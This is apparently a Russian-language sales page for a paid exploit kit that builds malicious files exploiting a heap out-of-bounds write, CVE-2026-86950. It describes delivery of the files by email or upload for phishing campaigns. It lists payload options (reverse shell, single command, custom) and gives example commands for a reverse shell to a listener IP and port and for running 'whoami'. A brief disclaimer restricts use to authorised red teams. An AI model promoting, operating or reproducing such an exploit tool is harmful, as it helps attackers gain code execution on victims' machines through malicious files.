Создаёт вредоносные файлы, которые вызывают запись за границы буфера (CWE-787) и повреждение кучи через CVE-2026-86950, с опциями обратной оболочки, выполнения команд или пользовательской полезной нагрузки.
CVE-2026-86950 (CWE-787).
Запись за границы буфера при разборе специально сформированного файла. Отсутствие проверок границ для полей размера/смещения позволяет контролируемо повредить кучу, когда целевое приложение обрабатывает файл.
Неаутентифицированный атакующий доставляет файл (электронная почта, загрузка, общий доступ). Требуется взаимодействие с пользователем (открытие/обработка). Код выполняется с привилегиями приложения, выполняющего разбор.
Полезно для фишинговых и целевых фишинговых кампаний red team, первоначального доступа на конечных точках и контролируемого выполнения кода без сетевой аутентификации.
После покупки вы получаете полный архив пакета.
Распакуйте и установите зависимости:
pip install -r requirements.txt
python exploit.py [options]
-o, --output <file> Выходной вредоносный файл (обязательно)
-p, --payload <type> reverse | cmd | custom (по умолчанию: reverse)
-L, --lhost <ip> IP слушателя (для reverse)
-P, --lport <port> Порт слушателя (для reverse)
-c, --cmd <command> Одна команда для выполнения
--arch x64|x86 Целевая архитектура (по умолчанию: x64)
Пример (обратная оболочка):
python exploit.py -o evil.file -p reverse -L 192.168.1.50 -P 4444
Пример (однократная команда):
python exploit.py -o evil.file -p cmd -c "whoami > C:\\temp\\out.txt"
Доставьте сгенерированный файл цели. При открытии/обработке уязвимым приложением срабатывает запись за границы буфера и выполняется полезная нагрузка.
Только для авторизованного использования в red team / тестировании на проникновение. Неавторизованное использование незаконно.
Полный пакет доступен только после покупки.